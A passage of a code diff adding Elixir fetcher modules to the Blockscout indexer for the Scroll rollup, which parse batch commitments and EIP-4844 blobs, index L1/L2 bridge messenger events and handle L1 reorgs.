l2_block_range + end + + # Parses chunks of L2 blocks info taken from calldata of the batch commitment transaction. + # + # ## Parameters + # - `chunks`: The list of chunks in the format defined in https://github.com/scroll-tech/scroll-contracts/blob/main/src/libraries/codec/ChunkCodecV1.sol. + # + # ## Returns + # - `{:ok, BlockRange.t()}` tuple containing the block range. + @spec get_l2_block_range_pre_euclid(list()) :: {:ok, BlockRange.t()} | {:error, any()} + defp get_l2_block_range_pre_euclid(chunks) do + chunks + |> Enum.reduce([], fn chunk, acc -> + <> = chunk + + chunk_l2_block_numbers = + Enum.map(Range.new(0, chunk_length - 1, 1), fn i -> + chunk_data + |> :binary.part(i * 60, 8) + |> :binary.decode_unsigned() + end) + + acc ++ chunk_l2_block_numbers + end) + |> Enum.min_max() + |> BlockRange.cast() + end + + # Gets and parses EIP-4844 blob from the remote Blockscout Blobs API (or directly from Beacon Node as fallback data source). + # + # ## Parameters + # - `eip4844_blobs_api_url`: URL of Blockscout Blobs API. + # - `blob_hash`: The blob versioned hash in form of `0x` string. + # - `block_timestamp`: Timestamp of L1 block to convert it to beacon slot (when using fallback request to the Beacon Node). + # - `batch_number`: The batch number for logging purposes. + # - `l1_chain_id`: ID of L1 chain to automatically define parameters for calculating beacon slot (when using fallback + # request to the Beacon Node). If ID is `nil` or unknown, the parameters are taken from the fallback + # INDEXER_BEACON_BLOB_FETCHER_REFERENCE_SLOT, INDEXER_BEACON_BLOB_FETCHER_REFERENCE_TIMESTAMP, INDEXER_BEACON_BLOB_FETCHER_SLOT_DURATION + # env variables. + # + # ## Returns + # - `{:ok, BlockRange.t() | nil}` tuple containing the block range (or `nil` if the blob is invalid or cannot be read). + @spec get_l2_block_range_post_euclid(String.t(), String.t(), DateTime.t(), non_neg_integer(), non_neg_integer()) :: + {:ok, BlockRange.t() | nil} + defp get_l2_block_range_post_euclid(eip4844_blobs_api_url, blob_hash, block_timestamp, batch_number, l1_chain_id) do + case get_blob_data_from_server(eip4844_blobs_api_url, blob_hash, block_timestamp, l1_chain_id) do + {nil, _} -> + Logger.warning( + "Cannot get the blob #{blob_hash} from the Blockscout Blobs API and Beacon Node. L2 block range will be unknown for the batch ##{batch_number}." + ) + + {:ok, nil} + + {encoded_payload, source} -> + decoded_payload = Batch.decode_eip4844_blob(encoded_payload) + + if is_nil(decoded_payload) do + Logger.warning( + "Cannot decode the blob #{blob_hash} taken from the #{source}. L2 block range will be unknown for the batch ##{batch_number}." + ) + + {:ok, nil} + else + Logger.info( + "L2 block range for the batch ##{batch_number} is taken from the #{source}. Blob hash: #{blob_hash}" + ) + + <<_prev_l1_message_queue_hash::binary-size(32), _post_l1_message_queue_hash::binary-size(32), + initial_l2_block_number::size(64), num_blocks::size(16), _::binary>> = decoded_payload + + BlockRange.cast({initial_l2_block_number, initial_l2_block_number + num_blocks - 1}) + end + end + end + + # Sends an HTTP request to Blockscout Blobs API (or Beacon Node as fallback source) to get EIP-4844 blob data + # by blob's versioned hash. + # + # ## Parameters + # - `eip4844_blobs_api_url`: URL of Blockscout Blobs API. + # - `blob_hash`: The blob versioned hash in form of `0x` string. + # - `block_timestamp`: Timestamp of L1 block to convert it to beacon slot. + # - `l1_chain_id`: ID of L1 chain to automatically define parameters for calculating beacon slot. + # If ID is `nil` or unknown, the parameters are taken from the fallback INDEXER_BEACON_BLOB_FETCHER_REFERENCE_SLOT, + # INDEXER_BEACON_BLOB_FETCHER_REFERENCE_TIMESTAMP, INDEXER_BEACON_BLOB_FETCHER_SLOT_DURATION env variables. + # + # ## Returns + # - `{binary() | nil, source}` tuple where the first item is a binary with the blob data in case of success (or `nil` + # in case of failure), and the second item is the data source name for logging purposes. + @spec get_blob_data_from_server(String.t(), String.t(), DateTime.t(), non_neg_integer() | nil) :: + {binary() | nil, String.t()} + defp get_blob_data_from_server(eip4844_blobs_api_url, blob_hash, block_timestamp, l1_chain_id) do + with {:ok, response} <- Helper.http_get_request(eip4844_blobs_api_url <> "/" <> blob_hash), + blob_data = Map.get(response, "blob_data"), + false <- is_nil(blob_data) do + {hash_to_binary(blob_data), "Blockscout Blobs API"} + else + _ -> + Logger.warning( + "Cannot get the blob #{blob_hash} from Blockscout Blobs API. Trying to get that from the Beacon Node..." + ) + + {Helper.get_eip4844_blob_from_beacon_node(blob_hash, block_timestamp, l1_chain_id), "Beacon Node"} + end + end + + # Imports batches and bundles into the database. + # + # ## Parameters + # - `batches`: List of batch data to be imported. + # - `bundles`: List of bundle data to be imported. + # - `start_by_final_batch_number`: A map defining start batch number by final one for bundles. + # + # ## Returns + # - The result of the database operations. + @spec import_items([Batch.to_import()], [%{atom() => any()}], %{non_neg_integer() => non_neg_integer()}) :: any() + defp import_items([], [], _), do: :ok + + defp import_items(batches, bundles, start_by_final_batch_number) do + {:ok, inserts} = + Chain.import(%{ + scroll_batch_bundles: %{params: bundles}, + scroll_batches: %{params: batches}, + timeout: :infinity + }) + + multi = + inserts + |> Map.get(:insert_scroll_batch_bundles, []) + |> Enum.reduce(Multi.new(), fn bundle, multi_acc -> + start_batch_number = start_by_final_batch_number[bundle.final_batch_number] + + Multi.update_all( + multi_acc, + bundle.id, + from(b in Batch, where: b.number >= ^start_batch_number and b.number <= ^bundle.final_batch_number), + set: [bundle_id: bundle.id] + ) + end) + + Repo.transaction(multi) + end + + # Prepares batch and bundle items from Scroll events for database import. + # + # This function processes a list of CommitBatch and FinalizeBatch events, + # extracting relevant information to create batch and bundle records. + # + # ## Parameters + # - `events`: A list of Scroll events to process. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # - `eip4844_blobs_api_url`: URL of Blockscout Blobs API to get EIP-4844 blobs. + # - `l1_chain_id`: Chain ID for L1. + # + # ## Returns + # A tuple containing two lists and a map: + # - List of batches, ready for import to the DB. + # - List of structures describing L1 transactions finalizing batches in form of + # bundles, ready for import to the DB. + # - A map defining start batch number by final one for bundles. + @spec prepare_items( + [%{atom() => any()}], + EthereumJSONRPC.json_rpc_named_arguments(), + String.t(), + non_neg_integer() | nil + ) :: + {[Batch.to_import()], [%{atom() => any()}], %{non_neg_integer() => non_neg_integer()}} + defp prepare_items([], _, _, _), do: {[], [], %{}} + + defp prepare_items(events, json_rpc_named_arguments, eip4844_blobs_api_url, l1_chain_id) do + blocks = Helper.get_blocks_by_events(events, json_rpc_named_arguments, Helper.infinite_retries_number(), true) + + ordered_batch_numbers_by_transaction_hash = + events + |> Enum.filter(&(&1.first_topic == @commit_batch_event)) + |> Enum.sort(&(&1.index < &2.index)) + |> Enum.reduce(%{}, fn event, acc -> + batch_number = quantity_to_integer(event.second_topic) + batch_numbers = [batch_number | Map.get(acc, event.transaction_hash, [])] + Map.put(acc, event.transaction_hash, batch_numbers) + end) + |> Enum.map(fn {transaction_hash, batch_numbers} -> {transaction_hash, Enum.reverse(batch_numbers)} end) + |> Enum.into(%{}) + + commit_transaction_hashes = Map.keys(ordered_batch_numbers_by_transaction_hash) + commit_transaction_input_by_hash = get_transaction_input_by_hash(blocks, commit_transaction_hashes) + + timestamps = + blocks + |> Enum.reduce(%{}, fn block, acc -> + block_number = quantity_to_integer(Map.get(block, "number")) + {:ok, timestamp} = DateTime.from_unix(quantity_to_integer(Map.get(block, "timestamp"))) + Map.put(acc, block_number, timestamp) + end) + + prev_final_batch_number = Reader.last_final_batch_number() + + {_, batches, bundles, start_by_final_batch_number} = + events + |> Enum.reduce({prev_final_batch_number, [], [], %{}}, fn event, + {prev_final_batch_number_acc, batches_acc, bundles_acc, + start_by_final_batch_number_acc} -> + block_number = quantity_to_integer(event.block_number) + block_timestamp = Map.get(timestamps, block_number) + batch_number = quantity_to_integer(event.second_topic) + + if event.first_topic == @commit_batch_event do + new_batch = + handle_commit_batch_event( + event.transaction_hash, + block_number, + block_timestamp, + batch_number, + commit_transaction_input_by_hash, + ordered_batch_numbers_by_transaction_hash, + eip4844_blobs_api_url, + l1_chain_id + ) + + {prev_final_batch_number_acc, [new_batch | batches_acc], bundles_acc, start_by_final_batch_number_acc} + else + new_bundle = handle_finalize_batch_event(event.transaction_hash, block_number, block_timestamp, batch_number) + + new_start_by_final_batch_number_acc = + Map.put(start_by_final_batch_number_acc, batch_number, prev_final_batch_number_acc + 1) + + {batch_number, batches_acc, [new_bundle | bundles_acc], new_start_by_final_batch_number_acc} + end + end) + + {batches, bundles, start_by_final_batch_number} + end + + # Handles the `CommitBatch` event and prepares a map describing a batch to import to the database. + # + # ## Parameters + # - `transaction_hash`: The commit L1 transaction hash in form of `0x` string. + # - `block_number`: The commit L1 block number. + # - `block_timestamp`: The commit L1 block timestamp. + # - `batch_number`: The batch number. + # - `commit_transaction_input_by_hash`: A map containing the commit transaction inputs by their hashes. + # The map key is a transaction hash, the value is the input in form of `0x` string. + # - `ordered_batch_numbers_by_transaction_hash`: A map containing the commit batch numbers by commit transaction hashes. + # The map key is a transaction hash, the value is the list of batch numbers committed by the transaction. + # - `eip4844_blobs_api_url`: URL of Blockscout Blobs API to get EIP-4844 blobs. + # - `l1_chain_id`: Chain ID for L1. + # + # ## Returns + # - A map describing a batch, see `Batch.to_import()`. + @spec handle_commit_batch_event( + String.t(), + non_neg_integer(), + DateTime.t(), + non_neg_integer(), + map(), + map(), + String.t(), + non_neg_integer() + ) :: Batch.to_import() + defp handle_commit_batch_event( + transaction_hash, + block_number, + block_timestamp, + batch_number, + commit_transaction_input_by_hash, + ordered_batch_numbers_by_transaction_hash, + eip4844_blobs_api_url, + l1_chain_id + ) do + {l2_block_range, container} = + if batch_number == 0 do + {:ok, range} = BlockRange.cast("[0,0]") + {range, :in_calldata} + else + {input, blob_versioned_hashes} = + commit_transaction_input_by_hash + |> Map.get(transaction_hash) + + container = + if blob_versioned_hashes == [] do + :in_calldata + else + :in_blob4844 + end + + batch_index = + ordered_batch_numbers_by_transaction_hash + |> Map.get(transaction_hash, []) + |> Enum.find_index(&(&1 == batch_number)) + + blob_versioned_hash = Enum.at(blob_versioned_hashes, batch_index) + + {input_to_l2_block_range( + input, + blob_versioned_hash, + eip4844_blobs_api_url, + block_timestamp, + batch_number, + l1_chain_id + ), container} + end + + %{ + number: batch_number, + commit_transaction_hash: transaction_hash, + commit_block_number: block_number, + commit_timestamp: block_timestamp, + l2_block_range: l2_block_range, + container: container + } + end + + # Handles the `FinalizeBatch` event and prepares a map describing a batch bundle to import to the database. + # + # ## Parameters + # - `transaction_hash`: The finalization L1 transaction hash. + # - `block_number`: The finalization L1 block number. + # - `block_timestamp`: The finalization L1 block timestamp. + # - `batch_number`: The final batch number in the bundle. + # + # ## Returns + # - A map describing a batch bundle, see `BatchBundle.to_import()`. + @spec handle_finalize_batch_event(String.t(), non_neg_integer(), DateTime.t(), non_neg_integer()) :: + BatchBundle.to_import() + defp handle_finalize_batch_event(transaction_hash, block_number, block_timestamp, batch_number) do + %{ + final_batch_number: batch_number, + finalize_transaction_hash: transaction_hash, + finalize_block_number: block_number, + finalize_timestamp: block_timestamp + } + end + + # Handles L1 block reorg: removes all batch rows from the `scroll_batches` table + # created beginning from the reorged block. Also, removes the corresponding rows from + # the `scroll_batch_bundles` table. + # + # ## Parameters + # - `reorg_block`: the block number where reorg has occurred. + # + # ## Returns + # - nothing + @spec reorg_handle(non_neg_integer()) :: any() + defp reorg_handle(reorg_block) do + bundle_ids = + Repo.all( + from(b in Batch, + select: b.bundle_id, + where: b.commit_block_number >= ^reorg_block, + group_by: b.bundle_id + ) + ) + + {:ok, result} = + Multi.new() + |> Multi.delete_all(:delete_batches, from(b in Batch, where: b.bundle_id in ^bundle_ids)) + |> Multi.delete_all( + :delete_bundles, + from(bb in BatchBundle, where: bb.id in ^bundle_ids or bb.finalize_block_number >= ^reorg_block) + ) + |> Repo.transaction() + + deleted_batches_count = elem(result.delete_batches, 0) + deleted_bundles_count = elem(result.delete_bundles, 0) + + if deleted_batches_count > 0 do + Logger.warning( + "As L1 reorg was detected, some batches with commit_block_number >= #{reorg_block} were removed from the scroll_batches table. Number of removed rows: #{deleted_batches_count}." + ) + end + + if deleted_bundles_count > 0 do + Logger.warning( + "As L1 reorg was detected, some bundles with finalize_block_number >= #{reorg_block} were removed from the scroll_batch_bundles table. Number of removed rows: #{deleted_bundles_count}." + ) + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/scroll/bridge.ex b/apps/indexer/lib/indexer/fetcher/scroll/bridge.ex new file mode 100644 index 000000000000..9b37d023e598 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/scroll/bridge.ex @@ -0,0 +1,330 @@ +defmodule Indexer.Fetcher.Scroll.Bridge do + @moduledoc """ + Contains common functions for Indexer.Fetcher.Scroll.Bridge* modules. + """ + + require Logger + + import EthereumJSONRPC, + only: [ + quantity_to_integer: 1, + timestamp_to_datetime: 1 + ] + + import Explorer.Helper, only: [decode_data: 2, hash_to_binary: 1] + + alias EthereumJSONRPC.Logs + alias Explorer.Chain + alias Explorer.Chain.RollupReorgMonitorQueue + alias Indexer.Fetcher.Scroll.BridgeL1 + alias Indexer.Helper, as: IndexerHelper + + # 32-byte signature of the event SentMessage(address indexed sender, address indexed target, uint256 value, uint256 messageNonce, uint256 gasLimit, bytes message) + @sent_message_event "0x104371f3b442861a2a7b82a070afbbaab748bb13757bf47769e170e37809ec1e" + @sent_message_event_params [{:uint, 256}, {:uint, 256}, {:uint, 256}, :bytes] + + # 32-byte signature of the event RelayedMessage(bytes32 indexed messageHash) + @relayed_message_event "0x4641df4a962071e12719d8c8c8e5ac7fc4d97b927346a3d7a335b1f7517e133c" + + @doc """ + The main function that scans RPC node for the message logs (events), parses them, + and imports to the database (scroll_bridge table). + + The function works for both L1 and L2 layers (depending on the `module` parameter). + It splits a given block range by chunks and scans the messenger contract for the message + logs (events) for each chunk. The found events are handled and then imported to the + `scroll_bridge` database table. + + After historical block range is covered, the function switches to realtime mode and + searches for the message events in every new block. Reorg blocks are taken into account. + + ## Parameters + - `module`: The module from which the function was called: Indexer.Fetcher.Scroll.BridgeL1 or Indexer.Fetcher.Scroll.BridgeL2. + - `state`: The state map containing needed data such as messenger contract address and the block range. + + ## Returns + - {:noreply, state} tuple with the updated block range in the `state` to scan logs in. + """ + @spec loop(module(), %{ + block_check_interval: non_neg_integer(), + messenger_contract: binary(), + json_rpc_named_arguments: EthereumJSONRPC.json_rpc_named_arguments(), + end_block: non_neg_integer(), + start_block: non_neg_integer() + }) :: + {:noreply, + %{ + block_check_interval: non_neg_integer(), + messenger_contract: binary(), + json_rpc_named_arguments: EthereumJSONRPC.json_rpc_named_arguments(), + end_block: non_neg_integer(), + start_block: non_neg_integer() + }} + def loop( + module, + %{ + block_check_interval: block_check_interval, + messenger_contract: messenger_contract, + json_rpc_named_arguments: json_rpc_named_arguments, + end_block: end_block, + start_block: start_block + } = state + ) do + {layer, eth_get_logs_range_size_config} = + if module == BridgeL1 do + {:L1, :l1_eth_get_logs_range_size} + else + {:L2, :l2_eth_get_logs_range_size} + end + + eth_get_logs_range_size = Application.get_all_env(:indexer)[Indexer.Fetcher.Scroll][eth_get_logs_range_size_config] + + time_before = Timex.now() + + last_written_block = + start_block..end_block + |> Enum.chunk_every(eth_get_logs_range_size) + |> Enum.reduce_while(start_block - 1, fn current_chunk, _ -> + chunk_start = List.first(current_chunk) + chunk_end = List.last(current_chunk) + + if chunk_start <= chunk_end do + IndexerHelper.log_blocks_chunk_handling(chunk_start, chunk_end, start_block, end_block, nil, layer) + + operations = + {chunk_start, chunk_end} + |> get_logs_all(messenger_contract, json_rpc_named_arguments) + |> prepare_operations(layer == :L1, json_rpc_named_arguments) + + import_operations(operations) + + IndexerHelper.log_blocks_chunk_handling( + chunk_start, + chunk_end, + start_block, + end_block, + "#{Enum.count(operations)} #{layer} operation(s)", + layer + ) + end + + reorg_block = RollupReorgMonitorQueue.reorg_block_pop(module) + + if !is_nil(reorg_block) && reorg_block > 0 do + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + if layer == :L1 do + BridgeL1.reorg_handle(reorg_block) + end + + {:halt, if(reorg_block <= chunk_end, do: reorg_block - 1, else: chunk_end)} + else + {:cont, chunk_end} + end + end) + + new_start_block = last_written_block + 1 + + {:ok, new_end_block} = + IndexerHelper.get_block_number_by_tag("latest", json_rpc_named_arguments, IndexerHelper.infinite_retries_number()) + + delay = + if new_end_block == last_written_block do + # there is no new block, so wait for some time to let the chain issue the new block + max(block_check_interval - Timex.diff(Timex.now(), time_before, :milliseconds), 0) + else + 0 + end + + Process.send_after(Process.whereis(module), :continue, delay) + + {:noreply, %{state | start_block: new_start_block, end_block: new_end_block}} + end + + # Fetches `SentMessage` and `RelayedMessage` events of the messenger contract from an RPC node + # for the given range of blocks. + @spec get_logs_all({non_neg_integer(), non_neg_integer()}, binary(), EthereumJSONRPC.json_rpc_named_arguments()) :: + [%{atom() => any()}] + defp get_logs_all({chunk_start, chunk_end}, messenger_contract, json_rpc_named_arguments) do + {:ok, result} = + IndexerHelper.get_logs( + chunk_start, + chunk_end, + messenger_contract, + [[@sent_message_event, @relayed_message_event]], + json_rpc_named_arguments, + 0, + IndexerHelper.infinite_retries_number() + ) + + Logs.elixir_to_params(result) + end + + # Imports the given Scroll messages into database. + # Used by Indexer.Fetcher.Scroll.BridgeL1 and Indexer.Fetcher.Scroll.BridgeL2 fetchers. + # Doesn't return anything. + @spec import_operations([Chain.Scroll.Bridge.to_import()]) :: no_return() + defp import_operations(operations) do + {:ok, _} = + Chain.import(%{ + scroll_bridge_operations: %{params: operations}, + timeout: :infinity + }) + end + + # Converts the list of Scroll messenger events to the list of operations + # preparing them for importing to the database. + @spec prepare_operations([%{atom() => any()}], boolean(), EthereumJSONRPC.json_rpc_named_arguments()) :: [ + Chain.Scroll.Bridge.to_import() + ] + defp prepare_operations(events, is_l1, json_rpc_named_arguments) do + block_to_timestamp = + events + |> Enum.filter(fn event -> event.first_topic == @sent_message_event end) + |> blocks_to_timestamps(json_rpc_named_arguments) + + events + |> Enum.map(fn event -> + {index, amount, block_number, block_timestamp, message_hash} = + case event.first_topic do + @sent_message_event -> + { + sender, + target, + amount, + index, + message + } = sent_message_event_parse(event) + + block_number = quantity_to_integer(event.block_number) + block_timestamp = Map.get(block_to_timestamp, block_number) + + operation_encoded = + ABI.encode("relayMessage(address,address,uint256,uint256,bytes)", [ + sender |> :binary.decode_unsigned(), + target |> :binary.decode_unsigned(), + amount, + index, + message + ]) + + message_hash = + "0x" <> + (operation_encoded + |> ExKeccak.hash_256() + |> Base.encode16(case: :lower)) + + {index, amount, block_number, block_timestamp, message_hash} + + @relayed_message_event -> + message_hash = + event.second_topic + |> hash_to_binary() + + {nil, nil, nil, nil, message_hash} + end + + result = %{ + type: operation_type(event.first_topic, is_l1), + message_hash: message_hash + } + + transaction_hash_field = + if is_l1 do + :l1_transaction_hash + else + :l2_transaction_hash + end + + result + |> extend_result(:index, index) + |> extend_result(transaction_hash_field, event.transaction_hash) + |> extend_result(:amount, amount) + |> extend_result(:block_number, block_number) + |> extend_result(:block_timestamp, block_timestamp) + end) + end + + # Constructs a map defining block timestamps by block numbers (key-value pairs) + # from the list of events. The keys of the resulting map consist of block numbers, + # the values are timestamps. + # + # ## Parameters + # - `events`: The list of events based on which the map is constructed. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # + # ## Returns + # - A dictionary associating block timestamps with the their numbers. + @spec blocks_to_timestamps([%{atom() => any()}], EthereumJSONRPC.json_rpc_named_arguments()) :: %{ + non_neg_integer() => DateTime.t() + } + defp blocks_to_timestamps(events, json_rpc_named_arguments) do + events + |> IndexerHelper.get_blocks_by_events(json_rpc_named_arguments, IndexerHelper.infinite_retries_number()) + |> Enum.reduce(%{}, fn block, acc -> + block_number = quantity_to_integer(Map.get(block, "number")) + timestamp = timestamp_to_datetime(Map.get(block, "timestamp")) + Map.put(acc, block_number, timestamp) + end) + end + + # Parses the `SentMessage` event to retrieve message sender address, + # target address, amount, index, body. This components are returned + # in the tuple. + # + # ## Parameters + # - `event`: A map describing the event which needs to be parsed. + # + # ## Returns + # - `{sender, target, amount, index, message}` where + # the `sender` is the message sender address, + # the `target` is the target address, + # the `amount` is the amount of the native token sent within this message, + # the `index` is the message numeric index, + # the `message` is the message body. + @spec sent_message_event_parse(%{atom() => any()}) :: + {binary(), binary(), non_neg_integer(), non_neg_integer(), binary()} + defp sent_message_event_parse(event) do + sender = hash_to_binary(event.second_topic) + target = hash_to_binary(event.third_topic) + + [ + amount, + index, + _gas_limit, + message + ] = decode_data(event.data, @sent_message_event_params) + + {sender, target, amount, index, message} + end + + # Determines the type of the bridge operation based on the event and the chain layer (L1 or L2). + # + # ## Parameters + # - `first_topic`: The signature of the event (in 0x-prefixed hex string). + # - `is_l1`: A boolean flag defining whether the chain layer is L1. + # + # ## Returns + # - :deposit or :withdrawal + @spec operation_type(binary(), boolean()) :: :deposit | :withdrawal + defp operation_type(first_topic, is_l1) do + if first_topic == @sent_message_event do + if is_l1, do: :deposit, else: :withdrawal + else + if is_l1, do: :withdrawal, else: :deposit + end + end + + # Extends the resulting map with the key-value pair. Used by the `prepare_operations` function. + # If the value is `nil`, the key-value pair is not added. + # + # ## Parameters + # - `result`: The resulting map to be extended. + # - `key`: The key component of the key-value pair. + # - `value`: The value component of the key-value pair. + # + # ## Returns + # - The extended map. + @spec extend_result(map(), atom(), any()) :: map() + defp extend_result(result, _key, value) when is_nil(value), do: result + defp extend_result(result, key, value) when is_atom(key), do: Map.put(result, key, value) +end diff --git a/apps/indexer/lib/indexer/fetcher/scroll/bridge_l1.ex b/apps/indexer/lib/indexer/fetcher/scroll/bridge_l1.ex new file mode 100644 index 000000000000..408cc72b8464 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/scroll/bridge_l1.ex @@ -0,0 +1,202 @@ +defmodule Indexer.Fetcher.Scroll.BridgeL1 do + @moduledoc """ + The module for scanning Scroll RPC node on L1 for the message logs (events), parsing them, + and importing to the database (scroll_bridge table). + + The events discovery logic is located in the `Indexer.Fetcher.Scroll.Bridge` module whereas this module + only prepares required parameters for the discovery loop. + + The main function splits the whole block range by chunks and scans L1 Scroll Messenger contract + for the message logs (events) for each chunk. The found events are handled and then imported to the + `scroll_bridge` database table. + + After historical block range is covered, the process switches to realtime mode and + searches for the message events in every new block. Reorg blocks are taken into account. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + + alias Explorer.Chain.Scroll.{Bridge, Reader} + alias Explorer.Repo + alias Indexer.Fetcher.RollupL1ReorgMonitor + alias Indexer.Fetcher.Scroll.Bridge, as: BridgeFetcher + alias Indexer.Fetcher.Scroll.Helper, as: ScrollHelper + alias Indexer.Helper + + @fetcher_name :scroll_bridge_l1 + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(_args) do + {:ok, %{}, {:continue, :ok}} + end + + @impl GenServer + def handle_continue(_, state) do + Logger.metadata(fetcher: @fetcher_name) + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + Process.send_after(self(), :init_with_delay, 2000) + {:noreply, state} + end + + # Validates parameters and initiates searching of the events. + # + # When first launch, the events searching will start from the given start block + # and end on the `safe` block (or `latest` one if `safe` is not available). + # If this is not the first launch, the process will start from the block which was + # the last on the previous launch. + @impl GenServer + def handle_info(:init_with_delay, _state) do + env = Application.get_all_env(:indexer)[__MODULE__] + + with {:start_block_undefined, false} <- {:start_block_undefined, is_nil(env[:start_block])}, + _ <- RollupL1ReorgMonitor.wait_for_start(__MODULE__), + rpc = l1_rpc_url(), + {:rpc_undefined, false} <- {:rpc_undefined, is_nil(rpc)}, + {:messenger_contract_address_is_valid, true} <- + {:messenger_contract_address_is_valid, Helper.address_correct?(env[:messenger_contract])}, + start_block = env[:start_block], + true <- start_block > 0, + {last_l1_block_number, last_l1_transaction_hash} = Reader.last_l1_bridge_item(), + json_rpc_named_arguments = Helper.json_rpc_named_arguments(rpc), + {:ok, block_check_interval, safe_block} <- Helper.get_block_check_interval(json_rpc_named_arguments), + {:start_block_valid, true, _, _} <- + {:start_block_valid, + (start_block <= last_l1_block_number || last_l1_block_number == 0) && start_block <= safe_block, + last_l1_block_number, safe_block}, + {:ok, last_l1_transaction} <- + Helper.get_transaction_by_hash(last_l1_transaction_hash, json_rpc_named_arguments), + # here we check for the last known L1 transaction existence to make sure there wasn't reorg + # on L1 while the instance was down, and so we can use `last_l1_block_number` as the starting point + {:l1_transaction_not_found, false} <- + {:l1_transaction_not_found, !is_nil(last_l1_transaction_hash) && is_nil(last_l1_transaction)} do + Process.send(self(), :continue, []) + + {:noreply, + %{ + block_check_interval: block_check_interval, + messenger_contract: env[:messenger_contract], + json_rpc_named_arguments: json_rpc_named_arguments, + end_block: safe_block, + start_block: max(start_block, last_l1_block_number) + }} + else + {:start_block_undefined, true} -> + # the process shouldn't start if the start block is not defined + {:stop, :normal, %{}} + + {:rpc_undefined, true} -> + Logger.error("L1 RPC URL is not defined.") + {:stop, :normal, %{}} + + {:messenger_contract_address_is_valid, false} -> + Logger.error("L1ScrollMessenger contract address is invalid or not defined.") + {:stop, :normal, %{}} + + {:start_block_valid, false, last_l1_block_number, safe_block} -> + Logger.error("Invalid L1 Start Block value. Please, check the value and scroll_bridge table.") + Logger.error("last_l1_block_number = #{inspect(last_l1_block_number)}") + Logger.error("safe_block = #{inspect(safe_block)}") + {:stop, :normal, %{}} + + {:error, error_data} -> + Logger.error( + "Cannot get last L1 transaction from RPC by its hash, latest block, or block timestamp by its number due to RPC error: #{inspect(error_data)}" + ) + + {:stop, :normal, %{}} + + {:l1_transaction_not_found, true} -> + Logger.error( + "Cannot find last L1 transaction from RPC by its hash. Probably, there was a reorg on L1 chain. Please, check scroll_bridge table." + ) + + {:stop, :normal, %{}} + + _ -> + Logger.error("L1 Start Block is invalid or zero.") + {:stop, :normal, %{}} + end + end + + # See the description of the `loop` function. + @impl GenServer + def handle_info(:continue, state) do + BridgeFetcher.loop(__MODULE__, state) + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + @doc """ + Handles L1 block reorg: removes all Deposit rows from the `scroll_bridge` table + created beginning from the reorged block. + + We only store block number for the initiating transaction of the L1->L2 or L2->L1 message, + so the `block_number` column doesn't contain L2 block numbers for messages initiated on L1 layer (i.e. for Deposits), + and that doesn't contain L1 block numbers for messages initiated on L2 layer (i.e. for Withdrawals). + This is the reason why we can only remove rows for Deposit operations from the `scroll_bridge` table + when a reorg happens on L1 layer. + + ## Parameters + - `reorg_block`: The block number where reorg has occurred. + + ## Returns + - Nothing. + """ + @spec reorg_handle(non_neg_integer()) :: any() + def reorg_handle(reorg_block) do + {deleted_count, _} = + Repo.delete_all(from(b in Bridge, where: b.type == :deposit and b.block_number >= ^reorg_block)) + + if deleted_count > 0 do + Logger.warning( + "As L1 reorg was detected, some deposits with block_number >= #{reorg_block} were removed from scroll_bridge table. Number of removed rows: #{deleted_count}." + ) + end + end + + @doc """ + Returns L1 RPC URL for this module. + Returns `nil` if not defined. + """ + @spec l1_rpc_url() :: binary() | nil + def l1_rpc_url do + ScrollHelper.l1_rpc_url() + end + + @doc """ + Determines if `Indexer.Fetcher.RollupL1ReorgMonitor` module must be up + for this module. + + ## Returns + - `true` if the reorg monitor must be active, `false` otherwise. + """ + @spec requires_l1_reorg_monitor?() :: boolean() + def requires_l1_reorg_monitor? do + module_config = Application.get_all_env(:indexer)[__MODULE__] + not is_nil(module_config[:start_block]) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/scroll/bridge_l2.ex b/apps/indexer/lib/indexer/fetcher/scroll/bridge_l2.ex new file mode 100644 index 000000000000..74504bbdeeab --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/scroll/bridge_l2.ex @@ -0,0 +1,155 @@ +defmodule Indexer.Fetcher.Scroll.BridgeL2 do + @moduledoc """ + The module for scanning Scroll RPC node on L2 for the message logs (events), parsing them, + and importing to the database (scroll_bridge table). + + The events discovery logic is located in the `Indexer.Fetcher.Scroll.Bridge` module whereas this module + only prepares required parameters for the discovery loop. + + The main function splits the whole block range by chunks and scans L2 Scroll Messenger contract + for the message logs (events) for each chunk. The found events are handled and then imported to the + `scroll_bridge` database table. + + After historical block range is covered, the process switches to realtime mode and + searches for the message events in every new block. Reorg blocks are taken into account. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Ecto.Query + + alias Explorer.Chain.RollupReorgMonitorQueue + alias Explorer.Chain.Scroll.{Bridge, Reader} + alias Explorer.Repo + alias Indexer.Fetcher.Scroll.Bridge, as: BridgeFetcher + alias Indexer.Helper + + @fetcher_name :scroll_bridge_l2 + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(args) do + json_rpc_named_arguments = args[:json_rpc_named_arguments] + {:ok, %{}, {:continue, json_rpc_named_arguments}} + end + + @impl GenServer + def handle_continue(json_rpc_named_arguments, _state) do + Logger.metadata(fetcher: @fetcher_name) + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + Process.send_after(self(), :init_with_delay, 2000) + {:noreply, %{json_rpc_named_arguments: json_rpc_named_arguments}} + end + + # Validates parameters and initiates searching of the events. + # + # When first launch, the events searching will start from the first block of the chain + # and end on the `latest` one. If 